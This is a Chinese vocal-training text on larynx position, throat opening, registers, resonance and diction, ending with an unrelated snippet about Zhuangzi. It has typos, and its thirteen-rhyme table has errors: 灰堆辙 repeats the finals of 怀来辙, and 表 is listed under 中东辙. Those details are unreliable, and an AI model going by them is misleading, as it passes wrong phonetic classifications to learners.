喉头和声带，是歌唱的发声器官，是歌唱的核心部位，是通向整体歌唱的要塞，是打开歌唱艺术宝库的金钥匙。因此，了解和搞清喉头与声带在歌唱时应处的位置和状态是非常必要的。一般来说，歌唱时喉头位置应该比平时说话时偏低一些（就像我们深吸气时的喉头感觉，因为吸气时的喉位，比静止时的喉位略低一点）有很多人把喉头处于吸气时的位置称为“水平位”。在歌唱时字与字、句与句的转换中，喉头要始终处于这一位置，而不应做离开水平位的向上、向下，或向左、向右的移动，当然喉头位置的稳定是在运动中的相对稳定，而不是僵死不动的稳定。就像浮在水面上的皮球永远稳定在水面上的道理一样，若把皮球比做喉头，皮球浮在水面的状态就好像喉头稳定在吸气位的状态一样。所以歌唱时的喉头位置应始终处于低而自如的稳定位置和喉头壁打开的状态。

2、 打开喉咙
在歌唱训练中“打开喉咙”是十分重要的中心环节，它直接影响到声音的好坏。“打开喉咙”也就是将喉头稳定在正确的位置上，口盖积极向上收缩成拱形，舌根放松，平放在下牙齿后，牙关打开，下巴放松自然放下而稍后拉，这时候的喉咙是打开的。那么如何能帮助初学者“打开喉咙”呢？

1）“打哈欠”的状态 “打哈欠”状态可以让口腔打开自然，放松，口盖抬起，口腔内空间增长增大。所以在唱歌时，咽喉不要闭塞，要使咽喉张开，让气息自如地送出来，“哈欠”状态确实是打开喉咙的好办法，也使歌唱者保证了一个很好的演唱状态。在平时练习时，还可以用闭嘴的“打哈欠”，闭口打哈欠的时候，里边的状态也是开的、抬的，如果我们在唱歌的时候都能保持这个状态的话，那你的声音就不会是“白”的、“扁”的了，你的声音就会是“竖的”、“圆的”了。

2）用“微笑”状态来打开喉咙 我们讲的“微笑”不是光笑，而指的是把“笑肌”抬起来。“笑肌”抬起是要鼻、咽腔打开，大牙关打开，面部两边的笑肌（颧骨）呈微笑状，这样的微笑状态可以使你的喉咙打开，可以使你获得高位置的声音。“歌唱状态就是里边的哈欠，处头的微笑”，这话很精辟。

3、 良好的中声区
中声区是唱歌的基础，没有良好的中声区，就谈不到其他的一切。我们应当重视中声区的练习，多在中声区下功夫，不要急于唱很高的音。练习时，我们先从中声区以中、小音量练习开始，经过相当一段时间的巩固以后，再慢慢向较高一点或较低一点的音域发展，初学者一定要遵循由易而难的循序渐进的原则，否则一开始就猛练高音，不但不会获得正确的高音，反而会毁坏声带。中声区应该靠前，明亮，轻松流畅，不费力，这样才能往上发展，为演唱高音打开通路。中声区的声音不要强求音量，而是要自然自如，要求音色优美和声音的灵活性。每个声部的重要音区都是中声区。中声区要做到吸气深，呼吸力求自然，有弹性，积极向上，有支持点，喉头稳定松驰，不论唱高、低不同的音，喉头的感觉都在一个位置上，声音要往外送，但又要使声音从头到尾保持在同一音型和位置上。我们常比喻说“声音要像穿珍珠一样，把每个音穿在一条线上”等等，就是说声音要连贯、统一、圆润。

4、 关于换声区
当你从低音往上唱时，唱到一定的地方，就会感到困难，容易卡壳，这就是到了换声区了，这时，你必须运用某种方法才能继续入上唱。歌唱者首先应基本掌握了虽声区的唱法，然后因人而异地作具体调整。有几种方法大家可以实践一下：

1）“倒抽一口气”的动作 就是歌者在唱到换声的音时（发元音的同时），做一个倒抽一口气的动作，好像“吓一跳”的生理状态，让喉头稍向下，向后退让，以使口咽腔充分打开，同时将中声区歌唱时向上齿龈背后发送的气息，随着音高逐渐向上挪动，嘴也随着逐渐张开，此时声音感觉更向上，向更远的前方发送。这时声音就自然地进入了换声区。

2）母音转换手法 就是在唱到换声区的时候提前让声音掩盖一点，声音暗一点，出气量小一点，小舌头抬起一点。在碰到换声点时，有一点必须强调指出，就是你感到声音唱上去困难时，甚至声音感到要出现破音时，千万不要变化发声器官的形态，不要乱动，乱使劲，一定要坚持迎着声音唱下去就可以了。其实换声点的总是就是一个“混声”的问题，就是真假声结合的问题。掩盖一些的声音就是有了假声的成分，但又不能全假，必须与真声混合在一起，声音的衔接才不会有痕迹，声音才不会虚和空。所以学会换声点的过渡也就学会了假声的唱法，而假声位置对唱歌、解决声音的统一是大有好处的。

5、 高音区的练习
高音区常常在作品的高潮中出现，有着激发听众情绪、振奋人心的力量。唱好了高音，会给整个演唱增添光彩。因此，具有响亮的、金属般的高音对歌唱者来说是非常宝贵的，在找到了自然声区，打好了中声区的基础，又掌握了换声区的技巧后就可以进行高音的练习。唱高音时，两颧骨要更积极开放，整个歌唱状态要更加积极向上，兴奋。随着音高向上，下颌需要松弛地向下，向两侧向后拉；小舌头提起如打哈欠似地吸住气，使喉咙更加打开，喉头不可随音高往上移动，而是相反，逐步下降，保持在吸气的状态，当然这个状态必须有气息的支持。唱高音的方法是训练中的一个难点，在不断实践的基础上，也已经总结出了很多行之有效的方法，但每一种方法都要因人而宜，采取适合自己的有效途径和方法。

第一个就是支点提法：在唱歌的时候好像声带不长在喉咙里，而长在了胸口，唱每一个字都不要离开这个支点，嘴放松唱，这样把注意力往那儿一想，一下子声音就得到平衡了。这种方法可以解决好几个问题：如果唱高音喉头容易上提的话，你一想到胸口就不想喉头了，支点一低，喉头也自然放松，下放，喉头放下以后，喉咙自然打开。还有声带都有长在胸口处，气息当然就不能超过声带，那一定在胸口的下面，气息也就往下沉了，稳定了。这基本是找到了正确的发声方法。

第二个反向提法是“喉下换字”的比喻。喉下换字的办法，就是说一般唱高音时喉头都容易高，那就在喉下一寸或者二寸左右的地方换，或者“贴着肩膀换，在脖子根换”。这样唱的时候，喉咙最容易打开，而且声音比较容易垂直，容易进入头声，容易找到高音的焦点位置。

6、 关闭唱法
关闭唱法一般是指男声在唱高音时，减少换声区的困难而用的一种唱法。关闭不是把声音关进去，而地要放出来。关闭要保持中声区的基础，关闭的目的就在于把中、高音区正确统一起来，这可以理解为发声器官工作上的变化，如喉咙的打开，会厌往上竖起、咽的下部适当扩张等。关闭唱法一般是指在中声区用较明亮的“a”逐步到“o”，到了换声区就开始用“u”，过多的“a”声音发白、扁，过多的“o”声音发暗，因此都必须在实践中适当掌握。关闭唱法是训练高音的技术有效的方法。

歌唱的发声是歌唱发声训练制造乐器的重要方面：它需要喉头稳定，喉咙打开，声音全部搭在气息线上，没有一个音脱离这个气息的轨道，声音均匀、连贯、有力度，气息通畅无阻，声区转换时不露痕迹等等，但是歌唱是高级神经系统的活动，一个人在歌唱时的心理状态，常常能影响其歌唱质量的好坏，因此，在唱歌时，不能只孤立地强调哪一部分肌肉的生理活动方面。好的声音是整个发声机能协调工作的结果。

五、 歌唱的共鸣
歌唱的声音要有比较宽广的音域，要有相当响亮的音量，要有表达歌曲感情的各种声音色彩。这些除了要靠正确的气息控制，正确的发声方法之外，更要靠正确掌握人体对发声的共鸣作用。共鸣能够形成的声音质量变化，要比声带自身的发声能量大得多。当某个物体振动发出声响时，影响到周围的其他物体的振动，从而增强了原物体振动的声响，形成了共鸣现象。歌唱的共鸣就是指歌唱发声时，由于气息冲击声带振动而发出的声音同时引起了人体内其他各共鸣腔体产生共振的现象。由于共鸣时产生的泛音与声带发出的音组成复音，因此，它使声音得到了美化，达到宏亮、丰满、悦耳、动听的效果。人的声带是极短的振动体，它发出的声音是微小的，全靠人体许多天然的共鸣腔体（如胸腔、咽腔、头腔等）将它扩大，这些共鸣腔体可以调节声带所发声音的大小、明暗及音色上的变化，并能调整其高度。

1、 人体的共鸣腔体
前面我们已经讲过人的共鸣腔体可以分成不可调节的共鸣腔：胸腔、鼻腔、额窦和蝶窦等，可以调节的共鸣腔：咽腔、喉腔、口腔，这部分是重要的共鸣腔体，可调节共鸣，上联头腔，下联胸腔，是个联络站。歌唱发声时，应随着音的升高或降低的变化，适当地调节那些可调节的共鸣腔体。一般来说，高音的共鸣区是分布在口腔，低音的共鸣区分布在胸腔。但这样的分布并不是说可以将各个共鸣腔孤立地来用，而是应当使所有的共鸣腔体连成一体，即所谓形成“整体共鸣”。整体共鸣就是胸、口、头腔共鸣的混合使用。

2、 共鸣的运用
在歌唱发声时，应用混合共鸣的方法，掌握好共鸣在各声区里的混合比例，使各共鸣腔保持一定的平衡，使声音获得良好的效果。唱高音时头腔共鸣应加强一些，口腔、胸腔也要有；唱中音时，声音要求圆润、流畅，口腔共鸣应多一些，胸腔、头腔共鸣也要有；唱低音时声音低沉、浑厚，以胸腔共鸣为主体，掺入口腔共鸣和头腔共鸣。这样才能在换声区发声时，不发生明显的痕迹。在歌唱发声中，只有及时地调节各共鸣腔体才能使歌唱声音统一、圆润、饱满，音色优美，色彩丰富。

3、 歌唱共鸣的方法
取得较好的歌唱共鸣，首先要注意发音器官各部分的协调配合，遵循渐进的原则，从中间往两头发展，即从口腔到头腔和胸腔，不能急于求成。下面我们简单介绍一下获得歌唱各种共鸣的方法。

1）口腔共鸣
口腔共鸣是声音从喉咙发出后第一个共鸣区域，它是歌唱非常重要的部分，是胸腔共鸣和头腔共鸣的基础。发声时口腔自然上下打开，笑肌微提，下腭自然放下稍后拉，上腭有上提的感觉。这样，声带发出的声波就随着气息的推送离开咽喉流畅向前，在口腔 的前上方即硬腭前部集中反射而引起振动，这个硬腭前部我们也叫硬口盖，这种口腔共鸣效果明亮，靠前，集中，易于和头腔取得联系，且可减少咽喉的负担，起保护声带的作用。口腔共鸣要有声音的“点”和“心”（即共鸣焦点），首先必须使口腔中的各有关部分唇、齿、牙、舌以及相适应的咽、喉自然地松开，会厌轻轻抬起，以使咽、喉、腔通畅，口腔壁、咽腔壁的肌肉积极坚硬，这样才会获得良好的共鸣效果。

2）头腔共鸣
我们常常把头腔共鸣称之为头声。头腔共鸣是我们声音中最具有魅力色彩的成份。它使声音明亮、光彩、辉煌、穿透力强，尤其是男高音、女高音声部，头腔共鸣几乎决定了声音的质量。头腔共鸣是由于声音的频率引起了头部上前方的蝶窦空间的震动而产生的。蝶窦位于鼻孔上，是比较小的结构空间，获得头腔共鸣必须先具有鼻腔共鸣、口腔共鸣，否则头腔共鸣是难以掌握的。具体方法是：把口腔内声波在硬腭上的集中反射点稍后移，下腭放下，软腭和小舌头尽量上提，使口、鼻、咽腔之间的通道和空间更宽些，声波便沿着上腭骨而传到鼻咽腔、鼻腔和蝶窦等，引起振动，这种共鸣效果清脆，丰富，富有光彩。当然要取得良好的头腔共鸣是必须建立在正确的呼吸点、发声点和共鸣位置点这三者协调运动的基础之上的。

3）胸腔共鸣
胸腔共鸣常常在比较低的声部运用比较多，也常常在各个声部的低声区运用较多。实际上在我们每个声部的所有声区，都需要有胸腔共鸣的成分，只是比例多少的问题。获得胸腔共鸣的具体办法是：发声时，咽喉部呈法打哈欠状态，下腭自然下垂，把声波的反射点从硬腭移向下齿背上，使声波在喉头和气管附近引起更多的振动，并继续继续传送到胸农会引起共鸣。胸腔共鸣的练习一定要注意松弛，千万不要过分地追求胸腔共鸣而去压迫喉头，把浓重的喉音误认为是胸腔共鸣。

4、 共鸣练习最好是用哼唱，即常说的“哼鸣”来练习
“哼鸣”时，如闭口打哈欠状态，双唇微微闭住，口腔内越空越好，鼻、咽腔打开，把气息的通道留得越宽越好，然后让气息顺利经过这些通道，沿着口腔的咽壁、鼻腔壁进入头农会的蝶窦处，蝶窦处的感觉就是我们前额的眉心处。感觉到声音向前向上，体会到眉心在震动，从而发出较明亮集中的“哼鸣”声音。这个发出“哼鸣”的眉心处就是我们要找的头腔共鸣。
为了使三个共鸣腔体有机地结合起来，形成歌唱共鸣的整体性，在训练时，还可以选择三个有连带关系的母音组进行练习。这种方法最大的好处是空间比较大，声音较能通畅地进入各个共鸣腔体。

六、 歌唱的咬字吐字
声乐是一门音乐与语言相结合的综合艺术。语言是声乐的重要组成部分，歌曲的旋律都是在语言的基础上才有可能产生，语言直接、准确地传递着情感和思想感受，这是其它任何形式都不能与之相比的。因此歌唱语言的准确掌握运用，是歌唱技术的重要训练课程。

1、 歌唱中咬字、吐字的基本方法
歌唱中的咬字，是指字头（声母）而言，即把字头的声母，按一定的发音部位和发音方法予以咬准。吐字是指字腹和字尾（韵母）而言，即把字腹的韵母，按照不同的口形予以引长吐准，并收清字尾。歌唱中咬字吐字的一般规律是：

1）字头要唱得短、轻、准
汉字的发音，大多是以辅音开头的，字头就是指发音的开头部分，即我们常说的“五音”：唇、舌、牙、齿、喉。
唇音：b，p，m，f
舌音：d，t，n，l
牙音：j，q，x
齿音：z，c，s，zh，ch，sh，r
喉音：g，k，h
这五大类的发音时，用力部位要分明，出口不能含糊。唇音字用力部位在唇上，上下嘴唇喷口应有力清晰。舌音着力在舌尖，牙音字用力部位在牙，齿音字用力部位在上下齿间，喉音字用力部位在喉。我们应充分运用“咬”字的技巧，来加强歌曲的感染力。

2）引长字腹
字腹（韵母）是字在歌唱发音中的引长部分，它占时值较长，歌唱时响度最大，是字的主体部分，与发声的关系最密切，它需要引长，也能够引长。它对歌唱的好坏起着关键性的作用，引长部分按照字腹中不同的韵母的口形要求，分为“齐，开，撮，合”四类，我们称“四呼”。
开口呼：a，o，e发音时要求口腔打开。
齐齿呼：ī或以ī为开头的韵母，发音时口呈扁平形，气息通过上下齿之间的空隙流出，用力在齿。
撮口呼：ü或以ü为开头的韵母，发音时上下唇微向前，用力在唇。
合口呼：u可以u为开头的韵母，发音时上下唇收拢呈圆形。
“四呼”在引长字腹时运用，口形决不能随曲调的变化而变化，应始终保持不变。歌唱中声音是否圆润、连贯主要取决于吐字发音的准确、连贯与流畅。

3）字尾收音要分明
字尾是指字的结尾部分。在歌唱发声中，凡是有字尾的字，都应把尾音收住，才算唱完整这个字，否则只算唱了半个字。单韵母的字是没有字尾的，不需要收音，只要元音发音完整不走形。复韵母的字，应很好地注意收音。如：
收ai，ei，uai，uei的韵尾时，应收i音。嘴角微向两边咧开。
收ao，ou，iao，iou的韵尾时，应收u音，双唇应向前微撮。
收n为字尾的音时，软腭下降，舌尖抵上齿龈，阻住口腔通路，放气流穿鼻而过，收向前的n音。
收ng为字尾的音时，软腭下降，舌根上升贴住软腭，阻住口腔通路，使气流穿鼻而过。
字尾收音时，要收得自然，要收得短、准、轻。且收尾的部位要准确，响度要适中，时值要做到收音即停。国我国的语言文字繁多，变化万千，收尾的部位也各不一样。在我国的传统演唱中，将汉语语音的韵尾归纳为十三个韵脚，也就是我们常在诗歌中遇到的押韵的意思，我们称它为“十三辙”。

2、 关于“十三辙”

1）发花辙：凡收aiaua的字均属之，如沙，下，马等。属元音结尾，收韵时口形不变。
2)梭波辙：凡收o，uo，e的字均属之，如波，歌，多等。
3）乜斜辙：凡收ie，üe，的字均属之，如叠，叶，野等。
4）“一七”辙：凡收i，ü的字均属之，如喜，月，雪等。
5）姑苏辙：凡收u的字均属之，如哭，古，谷等。
6）怀来辙：凡收ai，uai的字均属之，如开，槐，怪等。
7）灰堆辙：凡收ai，uai的字均属之，如内，醉等。
8）遥条辙：凡收ao，iao的字均属之，如高，肖等。
9）油术辙：凡收ou，iu的字均属之，如酒，手，后等。
10）言前辙：凡收an，ian，uan的字均属之，如南，关，边等。
11）人辰辙：凡收en，in，uen，un的字均属之，如分，宾，军等。
12）江阳辙：凡收ang，iang，uang的字均属之。
13）中东辙：凡收eng，ing，ueng，ong，iong的字均属之，如争，表，红等。

3、 关于声调
汉语是有声调的语言，声调是一个音节或字在单独发音时它的高、低、升、降的音高变化，汉语语言中的四个声调在咬字、吐字中，虽然按三部分结构规律把字吐清楚了，但若字的声调不对，唱出来的字仍然容易使人误解。如果我们把四声搭配得当，就形成了声调的对比，有起有落，有高有低，有长有短，朗读起来好听，唱起来易于上口，这就强调了诗词的节奏美、旋律美。
总之，歌唱的语言离不开字音的声、韵、调这三部分，只有掌握了字音的结合规律，演唱时辩证地处理每个部分之间的关系，还要根据歌曲情感的需要，作出相应的变化，完整地表现出每个字来，才称得上真正完成了歌唱的咬字吐字。还有一点要强调的，就是咬字吐字重要的是要研究语言如何表现感情，一般来说，唱轻快的歌曲，咬字吐字应特别轻快、敏捷、灵活；唱雄壮的进行曲时，咬字应结实有力；唱抒情曲调时，咬字应优美柔和；唱慢速度的歌曲时，咬字吐字应圆滑，相连，从而达到“以情带字，字里传情”的目的。

摘要：一年前一位朋友向我推荐庄子思想，淡泊的，开放的，内敛的……在此之前庄子在我心中也只是一个普通的古代名人，此后，我大概对庄子做了一下了解才发现其思想不俗，庄子在我心目中的地位豁然明朗。

今天被活生生拉到一个叫做“半糖主义”的群，后来就谈到庄子，后来我就把庄子引荐给一位感兴趣的网友，再后来这位网友就给推荐了这篇文章，发出来，引荐给更多的朋友……　查看全文